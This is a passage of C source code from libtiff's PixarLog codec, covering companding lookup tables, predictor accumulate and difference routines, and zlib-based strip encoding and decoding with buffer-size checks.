register unsigned int cr, cg, cb, ca, mask; if (n >= stride) { mask = CODE_MASK; if (stride == 3) { op[0] = wp[0]; op[1] = wp[1]; op[2] = wp[2]; cr = wp[0]; cg = wp[1]; cb = wp[2]; n -= 3; while (n > 0) { wp += 3; op += 3; n -= 3; op[0] = (uint16)((cr += wp[0]) & mask); op[1] = (uint16)((cg += wp[1]) & mask); op[2] = (uint16)((cb += wp[2]) & mask); } } else if (stride == 4) { op[0] = wp[0]; op[1] = wp[1]; op[2] = wp[2]; op[3] = wp[3]; cr = wp[0]; cg = wp[1]; cb = wp[2]; ca = wp[3]; n -= 4; while (n > 0) { wp += 4; op += 4; n -= 4; op[0] = (uint16)((cr += wp[0]) & mask); op[1] = (uint16)((cg += wp[1]) & mask); op[2] = (uint16)((cb += wp[2]) & mask); op[3] = (uint16)((ca += wp[3]) & mask); } } else { REPEAT(stride, *op = *wp&mask; wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; *op = *wp&mask; wp++; op++) n -= stride; } } } } static void horizontalAccumulate8(uint16 *wp, int n, int stride, unsigned char *op, unsigned char *ToLinear8) { register unsigned int cr, cg, cb, ca, mask; if (n >= stride) { mask = CODE_MASK; if (stride == 3) { op[0] = ToLinear8[cr = (wp[0] & mask)]; op[1] = ToLinear8[cg = (wp[1] & mask)]; op[2] = ToLinear8[cb = (wp[2] & mask)]; n -= 3; while (n > 0) { n -= 3; wp += 3; op += 3; op[0] = ToLinear8[(cr += wp[0]) & mask]; op[1] = ToLinear8[(cg += wp[1]) & mask]; op[2] = ToLinear8[(cb += wp[2]) & mask]; } } else if (stride == 4) { op[0] = ToLinear8[cr = (wp[0] & mask)]; op[1] = ToLinear8[cg = (wp[1] & mask)]; op[2] = ToLinear8[cb = (wp[2] & mask)]; op[3] = ToLinear8[ca = (wp[3] & mask)]; n -= 4; while (n > 0) { n -= 4; wp += 4; op += 4; op[0] = ToLinear8[(cr += wp[0]) & mask]; op[1] = ToLinear8[(cg += wp[1]) & mask]; op[2] = ToLinear8[(cb += wp[2]) & mask]; op[3] = ToLinear8[(ca += wp[3]) & mask]; } } else { REPEAT(stride, *op = ToLinear8[*wp&mask]; wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; *op = ToLinear8[*wp&mask]; wp++; op++) n -= stride; } } } } static void horizontalAccumulate8abgr(uint16 *wp, int n, int stride, unsigned char *op, unsigned char *ToLinear8) { register unsigned int cr, cg, cb, ca, mask; register unsigned char t0, t1, t2, t3; if (n >= stride) { mask = CODE_MASK; if (stride == 3) { op[0] = 0; t1 = ToLinear8[cb = (wp[2] & mask)]; t2 = ToLinear8[cg = (wp[1] & mask)]; t3 = ToLinear8[cr = (wp[0] & mask)]; op[1] = t1; op[2] = t2; op[3] = t3; n -= 3; while (n > 0) { n -= 3; wp += 3; op += 4; op[0] = 0; t1 = ToLinear8[(cb += wp[2]) & mask]; t2 = ToLinear8[(cg += wp[1]) & mask]; t3 = ToLinear8[(cr += wp[0]) & mask]; op[1] = t1; op[2] = t2; op[3] = t3; } } else if (stride == 4) { t0 = ToLinear8[ca = (wp[3] & mask)]; t1 = ToLinear8[cb = (wp[2] & mask)]; t2 = ToLinear8[cg = (wp[1] & mask)]; t3 = ToLinear8[cr = (wp[0] & mask)]; op[0] = t0; op[1] = t1; op[2] = t2; op[3] = t3; n -= 4; while (n > 0) { n -= 4; wp += 4; op += 4; t0 = ToLinear8[(ca += wp[3]) & mask]; t1 = ToLinear8[(cb += wp[2]) & mask]; t2 = ToLinear8[(cg += wp[1]) & mask]; t3 = ToLinear8[(cr += wp[0]) & mask]; op[0] = t0; op[1] = t1; op[2] = t2; op[3] = t3; } } else { REPEAT(stride, *op = ToLinear8[*wp&mask]; wp++; op++) n -= stride; while (n > 0) { REPEAT(stride, wp[stride] += *wp; *op = ToLinear8[*wp&mask]; wp++; op++) n -= stride; } } } } /* * State block for each open TIFF * file using PixarLog compression/decompression. */ typedef struct { TIFFPredictorState predict; z_stream stream; tmsize_t tbuf_size; /* only set/used on reading for now */ uint16 *tbuf; uint16 stride; int state; int user_datafmt; int quality; #define PLSTATE_INIT 1 TIFFVSetMethod vgetparent; /* super-class method */ TIFFVSetMethod vsetparent; /* super-class method */ float *ToLinearF; uint16 *ToLinear16; unsigned char *ToLinear8; uint16 *FromLT2; uint16 *From14; /* Really for 16-bit data, but we shift down 2 */ uint16 *From8; } PixarLogState; static int PixarLogMakeTables(PixarLogState *sp) { /* * We make several tables here to convert between various external * representations (float, 16-bit, and 8-bit) and the internal * 11-bit companded representation. The 11-bit representation has two * distinct regions. A linear bottom end up through .018316 in steps * of about .000073, and a region of constant ratio up to about 25. * These floating point numbers are stored in the main table ToLinearF. * All other tables are derived from this one. The tables (and the * ratios) are continuous at the internal seam. */ int nlin, lt2size; int i, j; double b, c, linstep, v; float *ToLinearF; uint16 *ToLinear16; unsigned char *ToLinear8; uint16 *FromLT2; uint16 *From14; /* Really for 16-bit data, but we shift down 2 */ uint16 *From8; c = log(RATIO); nlin = (int)(1./c); /* nlin must be an integer */ c = 1./nlin; b = exp(-c*ONE); /* multiplicative scale factor [b*exp(c*ONE) = 1] */ linstep = b*c*exp(1.); LogK1 = (float)(1./c); /* if (v >= 2) token = k1*log(v*k2) */ LogK2 = (float)(1./b); lt2size = (int)(2./linstep) + 1; FromLT2 = (uint16 *)_TIFFmalloc(lt2size*sizeof(uint16)); From14 = (uint16 *)_TIFFmalloc(16384*sizeof(uint16)); From8 = (uint16 *)_TIFFmalloc(256*sizeof(uint16)); ToLinearF = (float *)_TIFFmalloc(TSIZEP1 * sizeof(float)); ToLinear16 = (uint16 *)_TIFFmalloc(TSIZEP1 * sizeof(uint16)); ToLinear8 = (unsigned char *)_TIFFmalloc(TSIZEP1 * sizeof(unsigned char)); if (FromLT2 == NULL || From14 == NULL || From8 == NULL || ToLinearF == NULL || ToLinear16 == NULL || ToLinear8 == NULL) { if (FromLT2) _TIFFfree(FromLT2); if (From14) _TIFFfree(From14); if (From8) _TIFFfree(From8); if (ToLinearF) _TIFFfree(ToLinearF); if (ToLinear16) _TIFFfree(ToLinear16); if (ToLinear8) _TIFFfree(ToLinear8); sp->FromLT2 = NULL; sp->From14 = NULL; sp->From8 = NULL; sp->ToLinearF = NULL; sp->ToLinear16 = NULL; sp->ToLinear8 = NULL; return 0; } j = 0; for (i = 0; i < nlin; i++) { v = i * linstep; ToLinearF[j++] = (float)v; } for (i = nlin; i < TSIZE; i++) ToLinearF[j++] = (float)(b*exp(c*i)); ToLinearF[2048] = ToLinearF[2047]; for (i = 0; i < TSIZEP1; i++) { v = ToLinearF[i]*65535.0 + 0.5; ToLinear16[i] = (v > 65535.0) ? 65535 : (uint16)v; v = ToLinearF[i]*255.0 + 0.5; ToLinear8[i] = (v > 255.0) ? 255 : (unsigned char)v; } j = 0; for (i = 0; i < lt2size; i++) { if ((i*linstep)*(i*linstep) > ToLinearF[j]*ToLinearF[j+1]) j++; FromLT2[i] = (uint16)j; } /* * Since we lose info anyway on 16-bit data, we set up a 14-bit * table and shift 16-bit values down two bits on input. * saves a little table space. */ j = 0; for (i = 0; i < 16384; i++) { while ((i/16383.)*(i/16383.) > ToLinearF[j]*ToLinearF[j+1]) j++; From14[i] = (uint16)j; } j = 0; for (i = 0; i < 256; i++) { while ((i/255.)*(i/255.) > ToLinearF[j]*ToLinearF[j+1]) j++; From8[i] = (uint16)j; } Fltsize = (float)(lt2size/2); sp->ToLinearF = ToLinearF; sp->ToLinear16 = ToLinear16; sp->ToLinear8 = ToLinear8; sp->FromLT2 = FromLT2; sp->From14 = From14; sp->From8 = From8; return 1; } #define DecoderState(tif) ((PixarLogState*) (tif)->tif_data) #define EncoderState(tif) ((PixarLogState*) (tif)->tif_data) static int PixarLogEncode(TIFF* tif, uint8* bp, tmsize_t cc, uint16 s); static int PixarLogDecode(TIFF* tif, uint8* op, tmsize_t occ, uint16 s); #define PIXARLOGDATAFMT_UNKNOWN -1 static int PixarLogGuessDataFmt(TIFFDirectory *td) { int guess = PIXARLOGDATAFMT_UNKNOWN; int format = td->td_sampleformat; /* If the user didn't tell us his datafmt, * take our best guess from the bitspersample. */ switch (td->td_bitspersample) { case 32: if (format == SAMPLEFORMAT_IEEEFP) guess = PIXARLOGDATAFMT_FLOAT; break; case 16: if (format == SAMPLEFORMAT_VOID || format == SAMPLEFORMAT_UINT) guess = PIXARLOGDATAFMT_16BIT; break; case 12: if (format == SAMPLEFORMAT_VOID || format == SAMPLEFORMAT_INT) guess = PIXARLOGDATAFMT_12BITPICIO; break; case 11: if (format == SAMPLEFORMAT_VOID || format == SAMPLEFORMAT_UINT) guess = PIXARLOGDATAFMT_11BITLOG; break; case 8: if (format == SAMPLEFORMAT_VOID || format == SAMPLEFORMAT_UINT) guess = PIXARLOGDATAFMT_8BIT; break; } return guess; } static tmsize_t multiply_ms(tmsize_t m1, tmsize_t m2) { tmsize_t bytes = m1 * m2; if (m1 && bytes / m1 != m2) bytes = 0; return bytes; } static tmsize_t add_ms(tmsize_t m1, tmsize_t m2) { tmsize_t bytes = m1 + m2; /* if either input is zero, assume overflow already occurred */ if (m1 == 0 || m2 == 0) bytes = 0; else if (bytes <= m1 || bytes <= m2) bytes = 0; return bytes; } static int PixarLogFixupTags(TIFF* tif) { (void) tif; return (1); } static int PixarLogSetupDecode(TIFF* tif) { static const char module[] = "PixarLogSetupDecode"; TIFFDirectory *td = &tif->tif_dir; PixarLogState* sp = DecoderState(tif); tmsize_t tbuf_size; assert(sp != NULL); /* Make sure no byte swapping happens on the data * after decompression. */ tif->tif_postdecode = _TIFFNoPostDecode; /* for some reason, we can't do this in TIFFInitPixarLog */ sp->stride = (td->td_planarconfig == PLANARCONFIG_CONTIG ? td->td_samplesperpixel : 1); tbuf_size = multiply_ms(multiply_ms(multiply_ms(sp->stride, td->td_imagewidth), td->td_rowsperstrip), sizeof(uint16)); /* add one more stride in case input ends mid-stride */ tbuf_size = add_ms(tbuf_size, sizeof(uint16) * sp->stride); if (tbuf_size == 0) return (0); /* TODO: this is an error return without error report through TIFFErrorExt */ sp->tbuf = (uint16 *) _TIFFmalloc(tbuf_size); if (sp->tbuf == NULL) return (0); sp->tbuf_size = tbuf_size; if (sp->user_datafmt == PIXARLOGDATAFMT_UNKNOWN) sp->user_datafmt = PixarLogGuessDataFmt(td); if (sp->user_datafmt == PIXARLOGDATAFMT_UNKNOWN) { TIFFErrorExt(tif->tif_clientdata, module, "PixarLog compression can't handle bits depth/data format combination (depth: %d)", td->td_bitspersample); return (0); } if (inflateInit(&sp->stream) != Z_OK) { TIFFErrorExt(tif->tif_clientdata, module, "%s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } else { sp->state |= PLSTATE_INIT; return (1); } } /* * Setup state for decoding a strip. */ static int PixarLogPreDecode(TIFF* tif, uint16 s) { static const char module[] = "PixarLogPreDecode"; PixarLogState* sp = DecoderState(tif); (void) s; assert(sp != NULL); sp->stream.next_in = tif->tif_rawdata; assert(sizeof(sp->stream.avail_in)==4); /* if this assert gets raised, we need to simplify this code to reflect a ZLib that is likely updated to deal with 8byte memory sizes, though this code will respond appropriately even before we simplify it */ sp->stream.avail_in = (uInt) tif->tif_rawcc; if ((tmsize_t)sp->stream.avail_in != tif->tif_rawcc) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib cannot deal with buffers this size"); return (0); } return (inflateReset(&sp->stream) == Z_OK); } static int PixarLogDecode(TIFF* tif, uint8* op, tmsize_t occ, uint16 s) { static const char module[] = "PixarLogDecode"; TIFFDirectory *td = &tif->tif_dir; PixarLogState* sp = DecoderState(tif); tmsize_t i; tmsize_t nsamples; int llen; uint16 *up; switch (sp->user_datafmt) { case PIXARLOGDATAFMT_FLOAT: nsamples = occ / sizeof(float); /* XXX float == 32 bits */ break; case PIXARLOGDATAFMT_16BIT: case PIXARLOGDATAFMT_12BITPICIO: case PIXARLOGDATAFMT_11BITLOG: nsamples = occ / sizeof(uint16); /* XXX uint16 == 16 bits */ break; case PIXARLOGDATAFMT_8BIT: case PIXARLOGDATAFMT_8BITABGR: nsamples = occ; break; default: TIFFErrorExt(tif->tif_clientdata, module, "%d bit input not supported in PixarLog", td->td_bitspersample); return 0; } llen = sp->stride * td->td_imagewidth; (void) s; assert(sp != NULL); sp->stream.next_out = (unsigned char *) sp->tbuf; assert(sizeof(sp->stream.avail_out)==4); /* if this assert gets raised, we need to simplify this code to reflect a ZLib that is likely updated to deal with 8byte memory sizes, though this code will respond appropriately even before we simplify it */ sp->stream.avail_out = (uInt) (nsamples * sizeof(uint16)); if (sp->stream.avail_out != nsamples * sizeof(uint16)) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib cannot deal with buffers this size"); return (0); } /* Check that we will not fill more than what was allocated */ if ((tmsize_t)sp->stream.avail_out > sp->tbuf_size) { TIFFErrorExt(tif->tif_clientdata, module, "sp->stream.avail_out > sp->tbuf_size"); return (0); } do { int state = inflate(&sp->stream, Z_PARTIAL_FLUSH); if (state == Z_STREAM_END) { break; /* XXX */ } if (state == Z_DATA_ERROR) { TIFFErrorExt(tif->tif_clientdata, module, "Decoding error at scanline %lu, %s", (unsigned long) tif->tif_row, sp->stream.msg ? sp->stream.msg : "(null)"); if (inflateSync(&sp->stream) != Z_OK) return (0); continue; } if (state != Z_OK) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib error: %s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } } while (sp->stream.avail_out > 0); /* hopefully, we got all the bytes we needed */ if (sp->stream.avail_out != 0) { TIFFErrorExt(tif->tif_clientdata, module, "Not enough data at scanline %lu (short " TIFF_UINT64_FORMAT " bytes)", (unsigned long) tif->tif_row, (TIFF_UINT64_T) sp->stream.avail_out); return (0); } up = sp->tbuf; /* Swap bytes in the data if from a different endian machine. */ if (tif->tif_flags & TIFF_SWAB) TIFFSwabArrayOfShort(up, nsamples); /* * if llen is not an exact multiple of nsamples, the decode operation * may overflow the output buffer, so truncate it enough to prevent * that but still salvage as much data as possible. */ if (nsamples % llen) { TIFFWarningExt(tif->tif_clientdata, module, "stride %lu is not a multiple of sample count, " "%lu, data truncated.", (unsigned long) llen, (unsigned long) nsamples); nsamples -= nsamples % llen; } for (i = 0; i < nsamples; i += llen, up += llen) { switch (sp->user_datafmt) { case PIXARLOGDATAFMT_FLOAT: horizontalAccumulateF(up, llen, sp->stride, (float *)op, sp->ToLinearF); op += llen * sizeof(float); break; case PIXARLOGDATAFMT_16BIT: horizontalAccumulate16(up, llen, sp->stride, (uint16 *)op, sp->ToLinear16); op += llen * sizeof(uint16); break; case PIXARLOGDATAFMT_12BITPICIO: horizontalAccumulate12(up, llen, sp->stride, (int16 *)op, sp->ToLinearF); op += llen * sizeof(int16); break; case PIXARLOGDATAFMT_11BITLOG: horizontalAccumulate11(up, llen, sp->stride, (uint16 *)op); op += llen * sizeof(uint16); break; case PIXARLOGDATAFMT_8BIT: horizontalAccumulate8(up, llen, sp->stride, (unsigned char *)op, sp->ToLinear8); op += llen * sizeof(unsigned char); break; case PIXARLOGDATAFMT_8BITABGR: horizontalAccumulate8abgr(up, llen, sp->stride, (unsigned char *)op, sp->ToLinear8); op += llen * sizeof(unsigned char); break; default: TIFFErrorExt(tif->tif_clientdata, module, "Unsupported bits/sample: %d", td->td_bitspersample); return (0); } } return (1); } static int PixarLogSetupEncode(TIFF* tif) { static const char module[] = "PixarLogSetupEncode"; TIFFDirectory *td = &tif->tif_dir; PixarLogState* sp = EncoderState(tif); tmsize_t tbuf_size; assert(sp != NULL); /* for some reason, we can't do this in TIFFInitPixarLog */ sp->stride = (td->td_planarconfig == PLANARCONFIG_CONTIG ? td->td_samplesperpixel : 1); tbuf_size = multiply_ms(multiply_ms(multiply_ms(sp->stride, td->td_imagewidth), td->td_rowsperstrip), sizeof(uint16)); if (tbuf_size == 0) return (0); /* TODO: this is an error return without error report through TIFFErrorExt */ sp->tbuf = (uint16 *) _TIFFmalloc(tbuf_size); if (sp->tbuf == NULL) return (0); if (sp->user_datafmt == PIXARLOGDATAFMT_UNKNOWN) sp->user_datafmt = PixarLogGuessDataFmt(td); if (sp->user_datafmt == PIXARLOGDATAFMT_UNKNOWN) { TIFFErrorExt(tif->tif_clientdata, module, "PixarLog compression can't handle %d bit linear encodings", td->td_bitspersample); return (0); } if (deflateInit(&sp->stream, sp->quality) != Z_OK) { TIFFErrorExt(tif->tif_clientdata, module, "%s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } else { sp->state |= PLSTATE_INIT; return (1); } } /* * Reset encoding state at the start of a strip. */ static int PixarLogPreEncode(TIFF* tif, uint16 s) { static const char module[] = "PixarLogPreEncode"; PixarLogState *sp = EncoderState(tif); (void) s; assert(sp != NULL); sp->stream.next_out = tif->tif_rawdata; assert(sizeof(sp->stream.avail_out)==4); /* if this assert gets raised, we need to simplify this code to reflect a ZLib that is likely updated to deal with 8byte memory sizes, though this code will respond appropriately even before we simplify it */ sp->stream.avail_out = (uInt)tif->tif_rawdatasize; if ((tmsize_t)sp->stream.avail_out != tif->tif_rawdatasize) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib cannot deal with buffers this size"); return (0); } return (deflateReset(&sp->stream) == Z_OK); } static void horizontalDifferenceF(float *ip, int n, int stride, uint16 *wp, uint16 *FromLT2) { int32 r1, g1, b1, a1, r2, g2, b2, a2, mask; float fltsize = Fltsize; #define CLAMP(v) ( (v<(float)0.) ? 0 \ : (v<(float)2.) ? FromLT2[(int)(v*fltsize)] \ : (v>(float)24.2) ? 2047 \ : LogK1*log(v*LogK2) + 0.5 ) mask = CODE_MASK; if (n >= stride) { if (stride == 3) { r2 = wp[0] = (uint16) CLAMP(ip[0]); g2 = wp[1] = (uint16) CLAMP(ip[1]); b2 = wp[2] = (uint16) CLAMP(ip[2]); n -= 3; while (n > 0) { n -= 3; wp += 3; ip += 3; r1 = (int32) CLAMP(ip[0]); wp[0] = (uint16)((r1-r2) & mask); r2 = r1; g1 = (int32) CLAMP(ip[1]); wp[1] = (uint16)((g1-g2) & mask); g2 = g1; b1 = (int32) CLAMP(ip[2]); wp[2] = (uint16)((b1-b2) & mask); b2 = b1; } } else if (stride == 4) { r2 = wp[0] = (uint16) CLAMP(ip[0]); g2 = wp[1] = (uint16) CLAMP(ip[1]); b2 = wp[2] = (uint16) CLAMP(ip[2]); a2 = wp[3] = (uint16) CLAMP(ip[3]); n -= 4; while (n > 0) { n -= 4; wp += 4; ip += 4; r1 = (int32) CLAMP(ip[0]); wp[0] = (uint16)((r1-r2) & mask); r2 = r1; g1 = (int32) CLAMP(ip[1]); wp[1] = (uint16)((g1-g2) & mask); g2 = g1; b1 = (int32) CLAMP(ip[2]); wp[2] = (uint16)((b1-b2) & mask); b2 = b1; a1 = (int32) CLAMP(ip[3]); wp[3] = (uint16)((a1-a2) & mask); a2 = a1; } } else { REPEAT(stride, wp[0] = (uint16) CLAMP(ip[0]); wp++; ip++) n -= stride; while (n > 0) { REPEAT(stride, wp[0] = (uint16)(((int32)CLAMP(ip[0])-(int32)CLAMP(ip[-stride])) & mask); wp++; ip++) n -= stride; } } } } static void horizontalDifference16(unsigned short *ip, int n, int stride, unsigned short *wp, uint16 *From14) { register int r1, g1, b1, a1, r2, g2, b2, a2, mask; /* assumption is unsigned pixel values */ #undef CLAMP #define CLAMP(v) From14[(v) >> 2] mask = CODE_MASK; if (n >= stride) { if (stride == 3) { r2 = wp[0] = CLAMP(ip[0]); g2 = wp[1] = CLAMP(ip[1]); b2 = wp[2] = CLAMP(ip[2]); n -= 3; while (n > 0) { n -= 3; wp += 3; ip += 3; r1 = CLAMP(ip[0]); wp[0] = (uint16)((r1-r2) & mask); r2 = r1; g1 = CLAMP(ip[1]); wp[1] = (uint16)((g1-g2) & mask); g2 = g1; b1 = CLAMP(ip[2]); wp[2] = (uint16)((b1-b2) & mask); b2 = b1; } } else if (stride == 4) { r2 = wp[0] = CLAMP(ip[0]); g2 = wp[1] = CLAMP(ip[1]); b2 = wp[2] = CLAMP(ip[2]); a2 = wp[3] = CLAMP(ip[3]); n -= 4; while (n > 0) { n -= 4; wp += 4; ip += 4; r1 = CLAMP(ip[0]); wp[0] = (uint16)((r1-r2) & mask); r2 = r1; g1 = CLAMP(ip[1]); wp[1] = (uint16)((g1-g2) & mask); g2 = g1; b1 = CLAMP(ip[2]); wp[2] = (uint16)((b1-b2) & mask); b2 = b1; a1 = CLAMP(ip[3]); wp[3] = (uint16)((a1-a2) & mask); a2 = a1; } } else { REPEAT(stride, wp[0] = CLAMP(ip[0]); wp++; ip++) n -= stride; while (n > 0) { REPEAT(stride, wp[0] = (uint16)((CLAMP(ip[0])-CLAMP(ip[-stride])) & mask); wp++; ip++) n -= stride; } } } } static void horizontalDifference8(unsigned char *ip, int n, int stride, unsigned short *wp, uint16 *From8) { register int r1, g1, b1, a1, r2, g2, b2, a2, mask; #undef CLAMP #define CLAMP(v) (From8[(v)]) mask = CODE_MASK; if (n >= stride) { if (stride == 3) { r2 = wp[0] = CLAMP(ip[0]); g2 = wp[1] = CLAMP(ip[1]); b2 = wp[2] = CLAMP(ip[2]); n -= 3; while (n > 0) { n -= 3; r1 = CLAMP(ip[3]); wp[3] = (uint16)((r1-r2) & mask); r2 = r1; g1 = CLAMP(ip[4]); wp[4] = (uint16)((g1-g2) & mask); g2 = g1; b1 = CLAMP(ip[5]); wp[5] = (uint16)((b1-b2) & mask); b2 = b1; wp += 3; ip += 3; } } else if (stride == 4) { r2 = wp[0] = CLAMP(ip[0]); g2 = wp[1] = CLAMP(ip[1]); b2 = wp[2] = CLAMP(ip[2]); a2 = wp[3] = CLAMP(ip[3]); n -= 4; while (n > 0) { n -= 4; r1 = CLAMP(ip[4]); wp[4] = (uint16)((r1-r2) & mask); r2 = r1; g1 = CLAMP(ip[5]); wp[5] = (uint16)((g1-g2) & mask); g2 = g1; b1 = CLAMP(ip[6]); wp[6] = (uint16)((b1-b2) & mask); b2 = b1; a1 = CLAMP(ip[7]); wp[7] = (uint16)((a1-a2) & mask); a2 = a1; wp += 4; ip += 4; } } else { REPEAT(stride, wp[0] = CLAMP(ip[0]); wp++; ip++) n -= stride; while (n > 0) { REPEAT(stride, wp[0] = (uint16)((CLAMP(ip[0])-CLAMP(ip[-stride])) & mask); wp++; ip++) n -= stride; } } } } /* * Encode a chunk of pixels. */ static int PixarLogEncode(TIFF* tif, uint8* bp, tmsize_t cc, uint16 s) { static const char module[] = "PixarLogEncode"; TIFFDirectory *td = &tif->tif_dir; PixarLogState *sp = EncoderState(tif); tmsize_t i; tmsize_t n; int llen; unsigned short * up; (void) s; switch (sp->user_datafmt) { case PIXARLOGDATAFMT_FLOAT: n = cc / sizeof(float); /* XXX float == 32 bits */ break; case PIXARLOGDATAFMT_16BIT: case PIXARLOGDATAFMT_12BITPICIO: case PIXARLOGDATAFMT_11BITLOG: n = cc / sizeof(uint16); /* XXX uint16 == 16 bits */ break; case PIXARLOGDATAFMT_8BIT: case PIXARLOGDATAFMT_8BITABGR: n = cc; break; default: TIFFErrorExt(tif->tif_clientdata, module, "%d bit input not supported in PixarLog", td->td_bitspersample); return 0; } llen = sp->stride * td->td_imagewidth; /* Check against the number of elements (of size uint16) of sp->tbuf */ if( n > (tmsize_t)(td->td_rowsperstrip * llen) ) { TIFFErrorExt(tif->tif_clientdata, module, "Too many input bytes provided"); return 0; } for (i = 0, up = sp->tbuf; i < n; i += llen, up += llen) { switch (sp->user_datafmt) { case PIXARLOGDATAFMT_FLOAT: horizontalDifferenceF((float *)bp, llen, sp->stride, up, sp->FromLT2); bp += llen * sizeof(float); break; case PIXARLOGDATAFMT_16BIT: horizontalDifference16((uint16 *)bp, llen, sp->stride, up, sp->From14); bp += llen * sizeof(uint16); break; case PIXARLOGDATAFMT_8BIT: horizontalDifference8((unsigned char *)bp, llen, sp->stride, up, sp->From8); bp += llen * sizeof(unsigned char); break; default: TIFFErrorExt(tif->tif_clientdata, module, "%d bit input not supported in PixarLog", td->td_bitspersample); return 0; } } sp->stream.next_in = (unsigned char *) sp->tbuf; assert(sizeof(sp->stream.avail_in)==4); /* if this assert gets raised, we need to simplify this code to reflect a ZLib that is likely updated to deal with 8byte memory sizes, though this code will respond appropriately even before we simplify it */ sp->stream.avail_in = (uInt) (n * sizeof(uint16)); if ((sp->stream.avail_in / sizeof(uint16)) != (uInt) n) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib cannot deal with buffers this size"); return (0); } do { if (deflate(&sp->stream, Z_NO_FLUSH) != Z_OK) { TIFFErrorExt(tif->tif_clientdata, module, "Encoder error: %s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } if (sp->stream.avail_out == 0) { tif->tif_rawcc = tif->tif_rawdatasize; TIFFFlushData1(tif); sp->stream.next_out = tif->tif_rawdata; sp->stream.avail_out = (uInt) tif->tif_rawdatasize; /* this is a safe typecast, as check is made already in PixarLogPreEncode */ } } while (sp->stream.avail_in > 0); return (1); } /* * Finish off an encoded strip by flushing the last * string and tacking on an End Of Information code. */ static int PixarLogPostEncode(TIFF* tif) { static const char module[] = "PixarLogPostEncode"; PixarLogState *sp = EncoderState(tif); int state; sp->stream.avail_in = 0; do { state = deflate(&sp->stream, Z_FINISH); switch (state) { case Z_STREAM_END: case Z_OK: if ((tmsize_t)sp->stream.avail_out != tif->tif_rawdatasize) { tif->tif_rawcc = tif->tif_rawdatasize - sp->stream.avail_out; TIFFFlushData1(tif); sp->stream.next_out = tif->tif_rawdata; sp->stream.avail_out = (uInt) tif->tif_rawdatasize; /* this is a safe typecast, as check is made already in PixarLogPreEncode */ } break; default: TIFFErrorExt(tif->tif_clientdata, module, "ZLib error: %s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } } while (state != Z_STREAM_END); return (1); } static void PixarLogClose(TIFF* tif) { TIFFDirectory *td = &tif->tif_dir; /* In a really sneaky (and really incorrect, and untruthful, and * troublesome, and error-prone) maneuver that completely goes against * the spirit of TIFF, and breaks TIFF, on close, we covertly * modify both bitspersample and sampleformat in the directory to * indicate 8-bit linear. This way, the decode "just works" even for * readers that don't know about PixarLog, or how to set * the PIXARLOGDATFMT pseudo-tag. */ td->td_bitspersample = 8; td->td_sampleformat = SAMPLEFORMAT_UINT; } static void PixarLogCleanup(TIFF* tif) { PixarLogState* sp = (PixarLogState*) tif->tif_data; assert(sp != 0); (void)TIFFPredictorCleanup(tif); tif->tif_tagmethods.vgetfield = sp->vgetparent; tif->tif_tagmethods.vsetfield = sp->vsetparent; if (sp->FromLT2) _TIFFfree(sp->FromLT2); if (sp->From14) _TIFFfree(sp->From14); if (sp->From8) _TIFFfree(sp->From8); if (sp->ToLinearF) _TIFFfree(sp->ToLinearF); if (sp->ToLinear16) _TIFFfree(sp->ToLinear16); if (sp->ToLinear8) _TIFFfree(sp->ToLinear8); if (sp->state&PLSTATE_INIT) { if (tif->tif_mode == O_RDONLY) inflateEnd(&sp->stream); else deflateEnd(&sp->stream); } if (sp->tbuf) _TIFFfree(sp->tbuf); _TIFFfree(sp); tif->tif_data = NULL; _TIFFSetDefaultCompressionState(tif); } static int PixarLogVSetField(TIFF* tif, uint32 tag, va_list ap) { static const char module[] = "PixarLogVSetField"; PixarLogState *sp = (PixarLogState *)tif->tif_data; int result; switch (tag) { case TIFFTAG_PIXARLOGQUALITY: sp->quality = (int) va_arg(ap, int); if (tif->tif_mode != O_RDONLY && (sp->state&PLSTATE_INIT)) { if (deflateParams(&sp->stream, sp->quality, Z_DEFAULT_STRATEGY) != Z_OK) { TIFFErrorExt(tif->tif_clientdata, module, "ZLib error: %s", sp->stream.msg ? sp->stream.msg : "(null)"); return (0); } } return (1); case TIFFTAG_PIXARLOGDATAFMT: sp->user_datafmt = (int) va_arg(ap, int); /* Tweak the TIFF header so that the rest of libtiff knows what * size of data will be passed between app and library, and * assume that the app knows what it is doing and is not * confused by these header manipulations... */ switch (sp->user_datafmt) { case PIXARLOGDATAFMT_8BIT: case PIXARLOGDATAFMT_8BITABGR: TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 8); TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_UINT); break; case PIXARLOGDATAFMT_11BITLOG: TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 16); TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_UINT); break; case PIXARLOGDATAFMT_12BITPICIO: TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 16); TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_INT); break; case PIXARLOGDATAFMT_16BIT: TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 16); TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_UINT); break; case PIXARLOGDATAFMT_FLOAT: TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, 32); TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, SAMPLEFORMAT_IEEEFP); break; } /* * Must recalculate sizes should bits/sample change. */ tif->tif_tilesize = isTiled(tif) ? TIFFTileSize(tif) : (tmsize_t)(-1); tif->tif_scanlinesize = TIFFScanlineSize(tif); result = 1; /* NB: pseudo tag */ break; default: result = (*sp->vsetparent)(tif, tag, ap); } return (result); } static int PixarLogVGetField(TIFF* tif, uint32 tag, va_list ap) { PixarLogState *sp = (PixarLogState *)tif->tif_data; switch (tag) { case TIFFTAG_PIXARLOGQUALITY: *va_arg(ap, int*) = sp->quality; break; case TIFFTAG_PIXARLOGDATAFMT: *va_arg(ap, int*) = sp->user_datafmt; break; default: return (*sp->vgetparent)(tif, tag, ap); } return (1); } static const TIFFField 